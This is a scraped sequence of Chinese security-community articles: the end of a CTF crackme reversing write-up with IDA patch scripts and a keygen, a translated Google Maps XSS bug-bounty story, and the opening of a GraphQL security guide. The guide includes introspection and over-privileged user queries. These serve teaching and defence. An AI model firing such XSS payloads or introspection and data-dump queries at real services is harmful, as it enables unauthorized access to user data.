> definition of the function in cases where there are
> multiple layers of preloading).
**VA_LIST**
> VA_LIST 是在C语言中解决变参问题的一组宏，所在头文件：#include <stdarg.h>，用于获取不确定个数的参数。
>
> （1）首先在函数里定义一具VA_LIST型的变量，这个变量是指向参数的指针；
>
> （2）然后用VA_START宏初始化刚定义的VA_LIST变量；
>
> （3）然后用VA_ARG返回可变的参数，VA_ARG的第二个参数是你要返回的参数的类型（如果函数有多个可变参数的，依次调用VA_ARG获取各个参数）；
>
> （4）最后用VA_END宏结束可变参数的获取。
编译为so，预装载
gcc --shared -fPIC ./ptrace_hook.c -o ./ptrace_hook.so
LD_PRELOAD=./ptrace_hook.so ./supervisor
得到结果
called setup()
called setup()
POKETEXT: (addr , data) = (0x55a626771800 , 0x45c748fffff84be8)
POKETEXT: (addr , data) = (0x55a626771871 , 0x89e0458b48000000)
POKETEXT: (addr , data) = (0x55a6267718e5 , 0x1ebfffff7b5e8c7)
POKETEXT: (addr , data) = (0x55a626771838 , 0x8948d8458b48c289)
POKETEXT: (addr , data) = (0x55a6267718a8 , 0x775fff883fffffd)
SETREGS: rip: 0x55a6267717f9
Hello there!
POKETEXT: (addr , data) = (0x55a6267716db , 0xe8c78948000009ab)
POKETEXT: (addr , data) = (0x55a62677174b , 0x8348008b48d8458b)
POKETEXT: (addr , data) = (0x55a6267717bd , 0x1ebfffff93de8c7)
POKETEXT: (addr , data) = (0x55a626771712 , 0xe8c7894800000000)
POKETEXT: (addr , data) = (0x55a626771781 , 0xf975e8c78948f845)
SETREGS: rip: 0x55a6267716d4
Error! https://www.youtube.com/watch?v=Khk6SEQ-K-k
0xCCya!
: No such process
程序开启了ASLR，不过问题不大，容易猜出0x55a626771800 就是 ida 的 0x1800
ida patch
import ida_bytes
patches_1 = [
(0x1800 , 0x45c748fffff84be8),
(0x1871 , 0x89e0458b48000000),
(0x18e5 , 0x1ebfffff7b5e8c7),
(0x1838 , 0x8948d8458b48c289),
(0x18a8 , 0x775fff883fffffd)
]
patches_2 = [
(0x16db , 0xe8c78948000009ab),
(0x174b , 0x8348008b48d8458b),
(0x17bd , 0x1ebfffff93de8c7),
(0x1712 , 0xe8c7894800000000),
(0x1781 , 0xf975e8c78948f845)
]
# 异常代码0xCC后面的几个值都是父进程判断如何解密子进程的依据，不是真正的代码，父进程修改了rip绕过了他们的执行，所以把他们都nop掉
rip = [0x17f9, 0x16d4]
CC = [0x17dc, 0x16b7]
for i in range(len(rip)):
ida_bytes.patch_bytes(CC[i], '\x90'*(rip[i] - CC[i]))
# Patch the encrypted bytes
def patch(patches):
for i in patches:
print(hex(i[0]))
ida_bytes.patch_qword(i[0], i[1])
patch(patches_1)
patch(patches_2)
patch完后发现 crackme.enc 的mian 函数可读了，其main函数要求 读取 secret_key
文件，我们创建一个secret_key文件，随便写入一些值，再次执行`LD_PRELOAD=./ptrace_hook.so ./supervisor`
发现结果出现了更多POKETEXT的数据，我们 patch 一下ida不能识别的其他数据，patch 完后 ida
可以重新分析，发现secret_key的值只能是 `01?`，重写secret_key再次执行`./supervisor`，最后得到patch脚本
import ida_bytes
patches_main = [
(0x1800 , 0x45c748fffff84be8),
(0x1871 , 0x89e0458b48000000),
(0x18e5 , 0x1ebfffff7b5e8c7),
(0x1838 , 0x8948d8458b48c289),
(0x18a8 , 0x775fff883fffffd)
]
patches_read_file = [
(0x16db , 0xe8c78948000009ab),
(0x174b , 0x8348008b48d8458b),
(0x17bd , 0x1ebfffff93de8c7),
(0x1712 , 0xe8c7894800000000),
(0x1781 , 0xf975e8c78948f845)
]
patches_check_key = [
(0x140b , 0xc700000000f845c7),
(0x1494 , 0xbaf0458b1c7501f8),
(0x151f , 0x1eb9004ebffffff),
(0x144f , 0xbe0fef458800b60f),
(0x14d7 , 0xf44539c0b60f1004)
]
patches_compare_char = [
(0x13b9 , 0xb04a5b749d359b75),
(0x13bd , 0x28c197b658b3b38d),
(0x13c4 , 0x1ebfc4589ffc1d0),
(0x13ba , 0x3bc43e2f0001b807),
(0x13be , 0xffffffb805eb0000)
]
patches_calculate = [
(0x1373 , 0x17e27f613f63871),
(0x1376 , 0x1ebfc453a63b257),
(0x1372 , 0x89d001e4458bc289)
]
# Patch the irrelevant 0xCC bytes
rip = [0x17f9, 0x16d4, 0x17cb, 0x1404, 0x13b2, 0x13d2, 0x136b, 0x1384, 0x152d]
CC = [0x17dc, 0x16b7, 0x17c6, 0x13E7, 0x1399, 0x13cd, 0x1352, 0x137f, 0x1528]
for i in range(len(rip)):
ida_bytes.patch_bytes(CC[i], '\x90'*(rip[i] - CC[i]))
# Patch the encrypted bytes
def patch(patches):
for i in patches:
print(hex(i[0]))
ida_bytes.patch_qword(i[0], i[1])
patch(patches_main)
patch(patches_read_file)
patch(patches_check_key)
patch(patches_compare_char)
patch(patches_calculate)
最后得到检查secret_key的函数
__int64 __fastcall sub_13D7(__int64 a1, unsigned __int64 a2)
{
int v2; // eax
char v4; // [rsp+1Fh] [rbp-11h]
int j; // [rsp+20h] [rbp-10h]
unsigned int i; // [rsp+24h] [rbp-Ch]
int v7; // [rsp+28h] [rbp-8h]
unsigned int v8; // [rsp+2Ch] [rbp-4h]
v8 = 1;
v7 = 0;
for ( i = 1; i <= 0x7F; ++i )
{
for ( j = 0; ; j = sub_1345(j, 2, 2) )
{
while ( 1 )
{
if ( a2 <= v7 )
{
v8 = -1;
goto LABEL_13;
}
v2 = v7++;
v4 = *(_BYTE *)(v2 + a1);
if ( (unsigned int)sub_1389(v4, '0') != 1 )
break;
j = sub_1345(j, 2, 1);
}
if ( (unsigned int)sub_1389(v4, '1') != 1 )
break;
}
if ( (unsigned int)sub_1389(v4, '?') == 1 )
{
if ( i != byte_40C0[j] )
v8 = -1;
}
else
{
v8 = -1;
}
LABEL_13:
if ( v8 == -1 )
break;
}
if ( a2 != v7 + 1 )
v8 = -1;
return v8;
}
这个函数逻辑清晰，直接逆即可
### 解密脚本
#!/usr/bin/python3
data = [0x1B, 0x59, 0x29, 0x4C, 0x3D, 0x6F, 0x22, 0x7F, 0x26, 0x1C,0x2C, 0x2F, 0x07, 0x4E, 0x17, 0x1E, 0x61, 0x0A, 0x53, 0x10,0x34, 0x65, 0x4A, 0x42, 0x58, 0x08, 0x1D, 0x60, 0x33, 0x55,0x37, 0x44, 0x52, 0x39, 0x2E, 0x72, 0x0F, 0x6E, 0x7E, 0x3F,0x32, 0x47, 0x5A, 0x13, 0x19, 0x06, 0x7A, 0x51, 0x18, 0x1A,0x63, 0x48, 0x02, 0x77, 0x3E, 0x54, 0x35, 0x16, 0x04, 0x5E,0x4F, 0x49, 0x30, 0x03, 0x15, 0x71, 0x4D, 0x11, 0x38, 0x12,0x05, 0x45, 0x27, 0x68, 0x3A, 0x75, 0x09, 0x20, 0x01, 0x40,0x69, 0x23, 0x6A, 0x3B, 0x41, 0x5F, 0x7B, 0x57, 0x3C, 0x1F,0x66, 0x56, 0x5C, 0x0C, 0x36, 0x73, 0x2D, 0x67, 0x43, 0x5D,0x4B, 0x28, 0x76, 0x78, 0x7D, 0x31, 0x6D, 0x25, 0x14, 0x74,0x5B, 0x6B, 0x0D, 0x50, 0x70, 0x64, 0x0E, 0x62, 0x2B, 0x0B,0x46, 0x2A, 0x7C, 0x79, 0x6C, 0x24, 0x21]
index = []
for i in range(1,0x80):
index.append(data.index(i))
print(index)
def reverse(num):
key = ""
while 1:
if num == 0:
break
elif num % 2 == 0:
num -= 2
num //= 2
key += "1"
elif num % 2 == 1:
num -= 1
num //= 2
key += "0"
key = key[::-1]
key += "?"
return key
print(reverse(12))
total_key = ""
for i in index:
total_key += reverse(i)
total_key += '\n'
f = open('./secret_key','w')
f.write(total_key)
最后运行`./supervisor`，终于得到这张漂亮的图片 | 社区文章 |
# 【技术分享】看我如何挖到GoogleMaps XSS漏洞并获得5000刀赏金
|
##### 译文声明
本文是翻译文章，文章来源：medium.com/@marin_m
原文地址：<https://medium.com/@marin_m/how-i-found-a-5-000-google-maps-xss-by-fiddling-with-protobuf-963ee0d9caff>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
几个月前，我使用Google地图，或者Google街景时，发现地址栏和以前有些不同了。从2014年的某个时间起，URL地址里的参数不再是普通的查询字符串了，相反，它变成了用感叹号分隔的奇怪的字母数字组合。
同时我查看了浏览器的WEB控制台，发现不仅发往AJAX
API的请求被加密了，服务器的响应二进制数据也被一种新颖的方式签名了（除了一些图片）。除了这么多的谜题，还有什么更能激发我的激情呢？Nothing!
**揭开谜底**
谷歌地图有一大块约3.2 MB的压缩JavaScript脚本。谷歌地球很重 -以前的谷歌地图是一个笨拙的平面地图，现在的谷歌地图有一个地球模式。它使用WebGL生成3D图形，具有大量的组成部件，请求和显示缓存，以及JavaScript实现的调度和规划模块这些类似东西。
面对这么大的代码量，你需要做一些组织工作。幸运的是近几年几乎所有的主流浏览器都加上了自己的调试器。你可以在任何时候添加断点，甚至在发送一个Ajax请求或者触发DOM事件时。基本上逆向工程有静态和动态两种方式，我一般一喜欢静态分析，极端的情况下会使用动态分析。
谷歌使用了8个javascript文件，这些文件只有在分隔不同的模块时才使用换行符。Javascript模块会会在URL中以两三个字符的形式引用。这些文件使用Closure
Compiler压缩，谷歌的压缩器将会使用内联函数，将你的函数声明放到条件表达式中，使用简单的逗号分隔甚至更多的魔术方法来增加阅读难度。回到代码可读性很差的WEB控制台，或者使用另外一个简单工具（在<http://jsbeautifier.org/>
）。
查看这种类型的代码可能会吓到一些人，但是这个其实也不是特别难。就像读汇编代码一样，只要直接找到有用的点就行了。通过字符串或者常量搜索，从一个相关函数跳到另一个，在一个txt文件里记下有用信息，再加上对函数功能的猜测就可以了。
例如，下面我们搜索一个感叹号，好了。。。
通过观察，我们发现URL的参数由一些重复的片段组成：
1、 感叹号：分隔符
2、 数字：在键值对中看起来像是整数KEY。
3、 单个字母：这个字母决定了后面跟随什么类型，“s”表示字符串，“I”表示整数
4、 数字、字母或字符串：键值对中的值。
这是一个新颖的序列化方式吗？事实上，我思考了一下，这个并不新奇，它就是protobuf而已。
Protobuf是一个在谷歌产品中广泛使用的格式（用于存储，通讯等）。它的第一版开发于2001年，第二版为了取代XML发布于2008年，2016年的第三版做了一些改进。目前它在谷歌的前端产品中用的越来越多，甚至在Android相关的产品中也到处是它的身影。
Protobuf使用二进制形式传输数据。当你要创建一个使用Protobuf的项目时，首先要定义一个键值对组结构（.proto格式类似C语言），每一个键值对数据域都包含类型，名称及数字。当把这些键值对数据域组合到一起并命名后就称为message。键值对数据域也可以是message的形式（称为嵌套message），还有其他的一些格式暂时就不细说了。
现在将.proto格式编译成代码，任何语言都可以对你定义的message进行读写操作。
接下来程序会将Protobuf域数据转换成它自己的格式（通过调用之前的代码），当这些都完成后即会调用库函数将数据序列化成二进制格式。
结果会被这么编码：protobuf编码其实类似tlv（tag length value）编码，其内部就是（tag, length,
value)的组合，其中tag由(field_number<<3)|wire_type计算得出，field_number由我们在proto文件中定义，wire_type由protobuf根据proto中定义的字段类型决定，length长度采用一种叫做Varint
的数字表示方法，它是一种紧凑的表示数字的方法，用一个或多个字节来表示一个数字，值越小的数字使用越少的字节数，具体细节可以谷歌Varint。
那么URL中的参数是同样的东西吗？只是换成了text编码？
结果表明二进制格式中只有5中数据类型（o:可变长度的整型，1：固定64bit，2：字符串、字节或者message，5：固定的32bit，3和4:一些过时的方式来定义message，多到你完全不想了解），谷歌地图的URL中一共有18中不同的字符来代表类型。
以上是一些你在定义.proto数据时会用到的数字类型，但是究竟哪一个对应哪一个？我们需要重新解析谷歌地图URL里的数据域为可读的.proto格式定义，所以我们需要编辑和回复message并发现可能存在的隐藏数据域。
我们要这么做吗？不，考虑一下吧，定义Protobuf
message和数据域的函数散落在多个javascript脚本文件里的多个地方，要从一堆正则表达式里分析出它们实在是太难了，所以我们要偷个懒。
使用动态调试的方法怎么样？使用自动化的调试器定位出序列化“！”分隔的数据的函数，获得结构化的信息。就像和人类交谈一样和代码沟通。
**
**
**第一个魔法脚本**
Chrome有一个debugger
API能够进一步加强调试器（通过websocket和API通信）。火狐、Safari、Edge也有这个功能，但是没有Chrome的好，所以我们就用Chrome了。
第一步是使用“–remote-debugging-port=<port
number>”标签启动你的Chrome。连接到HTTP服务器的指定端口后，就可以通过“/json”请求获得连接到每个调试器API的活动标签和Websockt
URL地址。最后我们就可以通过在socket里使用jSON
request/response/event交换信息了。每个请求都有一个固定的ID和相应的应答或者错误；事件可以通过指定的请求触发。
首先我们通过调用“Runtime.enable”来捕获“Runtime.executionContextCreated”事件，当一个页面的javascript脚本上下文创建时就会触发。然后，调用“Debugger.enable”,
使
“Debugger.scriptParsed”生效，这样当脚本被加载时我们就可以查看有兴趣的方法并设置断点。调用“Network.enable”，这样每当有新的HTTP请求出现时我们就会接收到通知，以便我们发现含有“！”的数据（通过在javascript层拦截编码过得数据可以方便的把.Proto定义和HTTP请求地址联系到一起）。最后调用“Page.navigate”，告诉浏览器我们要使用谷歌地图。
当一个新脚本出现时，“Debugger.scriptParsed”事件被触发，我们调用“Debugger.scriptParsed”和“Debugger.getScriptSource”，这样我们就可以通过正在表达和字符串签名发现相关的函数。然后我们调用“Debugger.setBreakpoint”来设置断点，指定脚本ID,行和列。
下面是我们希望断下的函数:
它接受两个参数：b参数是一个定义了Protobuf消息的javascript对象，a参数是定义了消息数据的简单对象。函数将会使用这个结构序列化数据，最后返回C（包含“！”的数据）。
“Fqa”函数计算输出数组的大小（4*数据项的个数，每个数据项由分隔符、数据项ID、字符类型、数据项数据等4个字符串组成），“Gqa”将数据写入数组，String.prototype.join将数组转换成字符串。
然后我们获得“b”并把它转换成可读的，记下“c”以留后用。我们在最后一行下一个断点，看看发出了什么请求。下面是调试器中的看到的参数数据：
通过一些推理，我们可以总结下“b”的数据结构了：
尽管我已经向你展示了一个可读的版本，但是大部分的对象属性仍然是压缩过的，所以我们需要使用正则表达式去发现每一个属性对应的具体信息。
我们已经明白了这些数据的含义，下一步是还原出正在的.proto文件。第一种方法是直接从调试器中获取变量和对象属性，但是这种方法实在是太慢了；第二种方法是尝试将数据转换成JSON格式，但是嵌套消息会导致循环应用，所以这种方法也不可行；正确的第三种方法是通过注入javascript脚本获取字符串信息（使用控制台的API）。
Javascript可以通过“Debugger.evaluateOnCallFrame”本地调用，“Runtime.evaluate”全局调用。“Runtime.evaluate”事件会通知我们控制台信息，为了更好地使用“Network.requestWillBeSent”抓取网络请求，我们需要注入一些代码hook
history.replaceState() API方法，这样当主页跳转到含有“！”参数的URL时我们就能第一时间知道了。
在和谷歌地图做一些交互以收集数据后，现在我们拥有了需要的三种元素：重新构造的.proto结构，一些含有序列化数据的URL例子。
**
**
**第二个漂亮的程序**
Protobuf消息使用树形结构表达，所以想要在命令行里手工处理比较困难。当推断出Protobuf的数据项时，我们发现它们没有名字，这时可以通过一两个字母来命名它们（最好知道它们是干什么的再命名，这样我们在查看信息时就可以理解的更快）。我们同时需要测试所有的数据，这样我们就能知道它们是干什么的，或者看看谷歌是否引入了一些有趣的安全措施。
我打算使用Python Qt的QTreeWidget来处理消息，每个数据项都会获得一个下一级的QTreeWidgetItem（子部件中QLabel
代表TEXT文本, QSpinBox
代表整数等等）。最终的代码可能会有些纠结，因为我们我要处理重复的字段，数据项被选中的状态，显示request请求等等。但是这毕竟有利于可读性和便于理解。
下面就是程序运行后的样子：
**0day漏洞**
获取谷歌地图一块场景的请求大概有730个数据项，125个消息(<https://www.google.com/maps/vt>
)。从安全角度看，这是很令人高兴地，这意味着大量的攻击界面，大量隐藏的未被其他人测试的点。
我持续做了一些手工测试，但是没有发现异常，所以我把重要的请求做了分类。
首先是地图上的坐标，有很多方式可以描述他们（通常是十进制WGS84，或者其他更大更精确的坐标单元，这对于卫星视图很有用）。如果你需要一个精确地地图，同样有其他方法来定义一个视图。这里基本上有你希望绘制地图的所有方式，有各种各样的地图图层、选项，可以在地图上显示标签，标记位置，绘制从一个方向到另一个的行程，涵盖所有服务器端有的地图绘制功能。
但更重要的是，它不仅提供bitmap。它也提供矢量图；Android应用程序已经使用矢量多年了，web请求最近也有部分在使用。有多种格式的矢量，所有这些都是专有的。
Bitmap是常规的二进制格式（DRAT），使用二进制格式可以方便的存储地图提供的数据，及决定什么时候地点出现，改变，消失的版本信息。数据是由一个简单的RC4
key混淆的（这个key由坐标信息，一个固定的key和ZLIB组成）。
已经集成到WEB应用中的矢量图方式只使用了二进制的Protobuf—再强调一遍，这是web应用中的PROTOBUF的第二种形式。这里更有效率的简单XOR方法取代了RC4，二进制数据通过我们之前提到的AJAX传输（封装在较小的“长度-值”容器里）,这些数据和老的方式含义一致。
你可以使用十几个版本格式里的任意一个，但是这里面有一个版本特别的有趣。它的response 头里含有“Content-Type: text/html”
头部，尽管它是二进制的数据。它是基于Protobuf的格式，它也有其他格式的头部，所以它也是通过RC4+ZLIB处理的。它有很多有趣的安全选项，一个是可以关闭加密选项，一个是处理压缩的。所以你将获得原始的地图信息，包括代表地址和标记原始的字符串，这些将以text/html的形式发送给你的浏览器。
这是一个向谷歌地图里插入任意字符串的好方法！通过编辑其他请求的数据域将允许你设置标记。
一旦你尝试启用我们发现的未在文档里说明的格式，javascript脚本就会弹框了！
为了绕过chrome的XSS防护机制（或者火狐中的NOSCRIPT插件），我们需要找到一种编码方式。“！”分隔的数据的解码程序接受两种数据格式对应的字符串（即使它原来是Protobuf格式的一种）。“s”类型可以将字符串原始数据编码为输出字符串的一部分（只有！和*被转义为“*21”和“*2A”）。“z”类型可以讲字符串做base64编码（非padding）。这意味着什么?XSS防御即将被绕过了！
你可以进一步的混淆数据，但是服务器仍可以讲“！”分隔的数据转换成原始的二进制PROTOBUF，并且大部分的类型没有做安全检查。同时字符串和消息拥有相同的二进制的五种数据格式，所以我们可以将嵌套消息转换成二进制，并且当成字符串传递。
现在我们可以拥有了www.google.com（maps.google.com已被放弃）域名下任意浏览器可执行的XSS 攻击代码。
进一步研究发现任何人都可以给谷歌地图提交新的地方信息，这些地方或多或少都会在地图上出现（已验证）。那么是否已经有人提交过<script>alert(1)</script>到谷歌地图上了呢？是的，一些中国人和印度人做过，他们甚至提供了自己的头像！
**厂商回应**
谷歌的漏洞奖励计划按照www.google.com域下的XSS漏洞标准给我提供了5000$的奖金。
Day 0 — 提交报告
Day 0.54 — 报告被接受，进入流程
Day 0.64 — 漏洞被确认
Day 1 (or so) — 漏洞修复
Day 1.84 —
**总结**
我发现很多的Android项目都在使用Protobuf ，但是可用于解析Protobuf
的工具却很少。所以我做了一些收集和整理工作，更多信息请看<https://github.com/marin-m/pbtk> （包括本文中的一些工具）。 | 社区文章 |
# GraphQL安全指北
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
联名作者：gyyyy & 图南
>
> 今年先知大会上p牛分享了一些关于GraphQL安全的内容，我正好有使用GraphQL，于是想写一些我对GraphQL安全的一些理解和看法，和好基友`[@gyyyy](https://github.com/gyyyy
> "@gyyyy")` 说了这个想法之后一拍即合，于是联手写了这篇文。我俩水平有限，不足之处请批评指正。
## 说在前面的话
本文以GraphQL中一些容易让初学者与典型Web API _（为了便于理解，下文以目前流行的RESTful API为例代指）_
混淆或错误理解的概念特性进行内容划分，由`[@gyyyy](https://github.com/gyyyy "@gyyyy")`
从安全的角度抛出GraphQL应该注意的几点安全问题，而我则会更多的从开发的角度给出自己在实际使用过程中总结的最佳实践。
另外，需要提前声明的是，本文中我使用的是Node.js，`[@gyyyy](https://github.com/gyyyy "@gyyyy")`
使用的后端开发语言是Go，前端统一为React _（GraphQL客户端为Apollo）_ ，请大家自行消化。
Let’s Go!
## GraphQL简介
有些同学是不是根本没听过这个玩意？我们先来看看正在使用它的大客户们：
是不是值得我们花几分钟对它做个简单的了解了？XD
### **什么是GraphQL**
简单的说，GraphQL是由Facebook创造并开源的一种用于API的查询语言。
再引用官方文案来帮助大家理解一下GraphQL的特点：
1.请求你所要的数据，不多不少
向你的API发出一个GraphQL请求就能准确获得你想要的数据，不多不少。GraphQL查询总是返回可预测的结果。使用GraphQL的应用可以工作得又快又稳，因为控制数据的是应用，而不是服务器
2.获取多个资源，只用一个请求
GraphQL查询不仅能够获得资源的属性，还能沿着资源间引用进一步查询。典型的RESTful
API请求多个资源时得载入多个URL，而GraphQL可以通过一次请求就获取你应用所需的所有数据
3.描述所有的可能，类型系统
GraphQL基于类型和字段的方式进行组织，而非入口端点。你可以通过一个单一入口端点得到你所有的数据能力。GraphQL使用类型来保证应用只请求可能的数据，还提供了清晰的辅助性错误信息
### **GraphQL核心组成部分**
1.Type
用于描述接口的抽象数据模型，有Scalar _（标量）_ 和Object _（对象）_ 两种，Object由Field组成，同时Field也有自己的Type
2.Schema
用于描述接口获取数据的逻辑，类比RESTful中的每个独立资源URI
3.Query
用于描述接口的查询类型，有Query _（查询）_ 、Mutation _（更改）_ 和Subscription _（订阅）_ 三种
4.Resolver
用于描述接口中每个Query的解析逻辑，部分GraphQL引擎还提供Field细粒度的Resolver
_（想要详细了解的同学请阅读GraphQL官方文档）_
### **GraphQL VS. RESTful**
GraphQL没有过多依赖HTTP协议，它有一套自己的解析引擎来帮助前后端使用GraphQL查询语法。同时它是单路由形态，查询内容完全根据前端请求对象和字段而定，前后端分离较明显。
用一张图来对比一下：
## 身份认证与权限控制不当
> [@gyyyy](https://github.com/gyyyy "@gyyyy")：
>
> 前面说到，GraphQL多了一个中间层对它定义的查询语言进行语法解析执行等操作，与RESTful这种充分利用HTTP协议本身特性完成声明使用的API设计不同，Schema、Resolver等种种定义会让开发者对它的存在感知较大，间接的增加了对它理解的复杂度，加上它本身的单路由形态，很容易导致开发者在不完全了解其特性和内部运行机制的情况下，错误实现甚至忽略API调用时的授权鉴权行为。
在官方的描述中，GraphQL和RESTful API一样，建议开发者将授权逻辑委托给业务逻辑层：
在没有对GraphQL中各个Query和Mutation做好授权鉴权时，同样可能会被攻击者非法请求到一些非预期接口，执行高危操作，如查询所有用户的详细信息：
query GetAllUsers {
users {
_id
username
password
idCard
mobilePhone
email
}
}
这几乎是使用任何API技术都无法避免的一个安全问题，因为它与API本身的职能并没有太大的关系，API不需要背这个锅，但由此问题带来的并发症却不容小觑。
### **信息泄露**
对于这种未授权或越权访问漏洞的挖掘利用方式，大家一定都很清楚了，一般情况下我们都会期望尽可能获取到比较全量的API来进行进一步的分析。在RESTful
API中，我们可能需要通过代理、爬虫等技术来抓取API。而随着Web
2.0时代的到来，各种强大的前端框架、运行时DOM事件更新等技术使用频率的增加，更使得我们不得不动用到如Headless等技术来提高对API的获取覆盖率。
但与RESTful API不同的是，GraphQL自带强大的内省自检机制，可以直接获取后端定义的所有接口信息。比如通过`__schema`查询所有可用对象：
{
__schema {
types {
name
}
}
}
通过`__type`查询指定对象的所有字段：
{
__type(name: "User") {
name
fields {
name
type {
name
}
}
}
}
这里我通过[graphql-go/graphql](https://github.com/graphql-go/graphql/)的源码简单分析一下GraphQL的解析执行流程和内省机制，帮助大家加深理解：
1. GraphQL路由节点在拿到HTTP的请求参数后，创建`Params`对象，并调用`Do()`完成解析执行操作返回结果：
params := graphql.Params{
Schema: *h.Schema,
RequestString: opts.Query,
VariableValues: opts.Variables,
OperationName: opts.OperationName,
Context: ctx,
}
result := graphql.Do(params)
2. 调用`Parser()`把`params.RequestString`转换为GraphQL的AST文档后，将AST和Schema一起交给`ValidateDocument()`进行校验 _（主要校验是否符合Schema定义的参数、字段、类型等）_
3. 代入AST重新封装`ExecuteParams`对象，传入`Execute()`中开始执行当前GraphQL语句
具体的执行细节就不展开了，但是我们关心的内省去哪了？原来在GraphQL引擎初始化时，会定义三个带缺省Resolver的元字段：
SchemaMetaFieldDef = &FieldDefinition{ // __schema：查询当前类型定义的模式，无参数
Name: "__schema",
Type: NewNonNull(SchemaType),
Description: "Access the current type schema of this server.",
Args: []*Argument{},
Resolve: func(p ResolveParams) (interface{}, error) {
return p.Info.Schema, nil
},
}
TypeMetaFieldDef = &FieldDefinition{ // __type：查询指定类型的详细信息，字符串类型参数`name`
Name: "__type",
Type: TypeType,
Description: "Request the type information of a single type.",
Args: []*Argument{
{
PrivateName: "name",
Type: NewNonNull(String),
},
},
Resolve: func(p ResolveParams) (interface{}, error) {
name, ok := p.Args["name"].(string)
if !ok {
return nil, nil
}
return p.Info.Schema.Type(name), nil
},
}
TypeNameMetaFieldDef = &FieldDefinition{ // __typename：查询当前对象类型名称，无参数
Name: "__typename",
Type: NewNonNull(String),
Description: "The name of the current Object type at runtime.",
Args: []*Argument{},
Resolve: func(p ResolveParams) (interface{}, error) {
return p.Info.ParentType.Name(), nil
},
}
当`resolveField()`解析到元字段时，会调用其缺省Resolver，触发GraphQL的内省逻辑。
### **自动绑定（非预期和废弃字段）**
GraphQL为了考虑接口在版本演进时能够向下兼容，还有一个对于应用开发而言比较友善的特性：『API演进无需划分版本』。
由于GraphQL是根据前端请求的字段进行数据回传，后端Resolver的响应包含对应字段即可，因此后端字段扩展对前端无感知无影响，前端增加查询字段也只要在后端定义的字段范围内即可。同时GraphQL也为字段删除提供了『废弃』方案，如Go的`graphql`包在字段中增加`DeprecationReason`属性，Apollo的`[@deprecated](https://github.com/deprecated
"@deprecated")`标识等。
这种特性非常方便的将前后端进行了分离，但如果开发者本身安全意识不够强，设计的API不够合理，就会埋下了很多安全隐患。我们用开发项目中可能会经常遇到的需求场景来重现一下。
假设小明在应用中已经定义好了查询用户基本信息的API：
graphql.Field{
Type: graphql.NewObject(graphql.ObjectConfig{
Name: "User",
Description: "用户信息",
Fields: graphql.Fields{
"_id": &graphql.Field{Type: graphql.Int},
"username": &graphql.Field{Type: graphql.String},
"email": &graphql.Field{Type: graphql.String},
},
}),
Args: graphql.FieldConfigArgument{
"username": &graphql.ArgumentConfig{Type: graphql.String},
},
Resolve: func(params graphql.ResolveParams) (result interface{}, err error) {
// ...
},
}
小明获得新的需求描述，『管理员可以查询指定用户的详细信息』，为了方便 _（也经常会为了方便）_ ，于是在原有接口上新增了几个字段：
graphql.Field{
Type: graphql.NewObject(graphql.ObjectConfig{
Name: "User",
Description: "用户信息",
Fields: graphql.Fields{
"_id": &graphql.Field{Type: graphql.Int},
"username": &graphql.Field{Type: graphql.String},
"password": &graphql.Field{Type: graphql.String}, // 新增 用户密码 字段
"idCard": &graphql.Field{Type: graphql.String}, // 新增 用户身份证号 字段
"mobilePhone": &graphql.Field{Type: graphql.String}, // 新增 用户手机号 字段
"email": &graphql.Field{Type: graphql.String},
},
}),
Args: graphql.FieldConfigArgument{
"username": &graphql.ArgumentConfig{Type: graphql.String},
},
Resolve: func(params graphql.ResolveParams) (result interface{}, err error) {
// ...
},
}
如果此时小明没有在字段细粒度上进行权限控制 _（也暂时忽略其他权限问题）_
，攻击者可以轻易的通过内省发现这几个本不该被普通用户查看到的字段，并构造请求进行查询
_（实际开发中也经常容易遗留一些测试字段，在GraphQL强大的内省机制面前这无疑是非常危险的。如果熟悉Spring自动绑定漏洞的同学，也会发现它们之间有一部分相似的地方）_
。
故事继续，当小明发现这种做法欠妥时，他决定废弃这几个字段：
// ...
"password": &graphql.Field{Type: graphql.String, DeprecationReason: "安全性问题"},
"idCard": &graphql.Field{Type: graphql.String, DeprecationReason: "安全性问题"},
"mobilePhone": &graphql.Field{Type: graphql.String, DeprecationReason: "安全性问题"},
// ...
接着，他又用上面的`__type`做了一次内省，很好，废弃字段查不到了，通知前端回滚查询语句，问题解决，下班回家 _（GraphQL的优势立刻凸显出来）_
。
熟悉安全攻防套路的同学都知道，很多的攻击方式 _（尤其在Web安全中）_ 都是利用了开发、测试、运维的知识盲点
_（如果你想问这些盲点的产生原因，我只能说是因为正常情况下根本用不到，所以不深入研究基本不会去刻意关注）_
。如果开发者没有很仔细的阅读GraphQL官方文档，特别是内省这一章节的内容，就可能不知道，通过指定`includeDeprecated`参数为`true`，`__type`仍然可以将废弃字段暴露出来：
{
__type(name: "User") {
name
fields(includeDeprecated: true) {
name
isDeprecated
type {
name
}
}
}
}
而且由于小明没有对Resolver做修改，废弃字段仍然可以正常参与查询 _（兼容性惹的祸）_ ，故事结束。
正如p牛所言，『GraphQL是一门自带文档的技术』。可这也使得授权鉴权环节一旦出现纰漏，GraphQL背后的应用所面临的安全风险会比典型Web
API大得多。
> @图南：
>
> GraphQL并没有规定任何身份认证和权限控制的相关内容，这是个好事情，因为我们可以更灵活的在应用中实现各种粒度的认证和权限。但是，在我的开发过程中发现，初学者经常会忽略GraphQL的认证，会写出一些裸奔的接口或者无效认证的接口。那么我就在这里详细说一下GraphQL的认证方式。
### **独立认证终端 _（RESTful）_**
如果后端本身支持RESTful或者有专门的认证服务器，可以修改少量代码就能实现GraphQL接口的认证。这种认证方式是最通用同时也是官方比较推荐的。
以JWT认证为例，将整个GraphQL路由加入JWT认证，开放两个RESTful接口做登录和注册用，登录和注册的具体逻辑不再赘述，登录后返回JWT
Token：
// ...
router.post('/login', LoginController.login);
router.post('/register', LoginController.register);
app.use(koajwt({secret: 'your secret'}).unless({
path: [/^/public/, '/login', '/register']
}));
const server = new ApolloServer({
typeDefs: schemaText,
resolvers: resolverMap,
context: ({ctx}) => ({
...ctx,
...app.context
})
});
server.applyMiddleware({app});
app.listen({
port: 4000
}, () => console.log(`🚀 Server ready at http://localhost:4000${server.graphqlPath}`),);
// ...
设置完成后，请求GraphQL接口需要先进行登录操作，然后在前端配置好认证请求头来访问GraphQL接口，以`curl`代替前端请求登录RESTful接口：
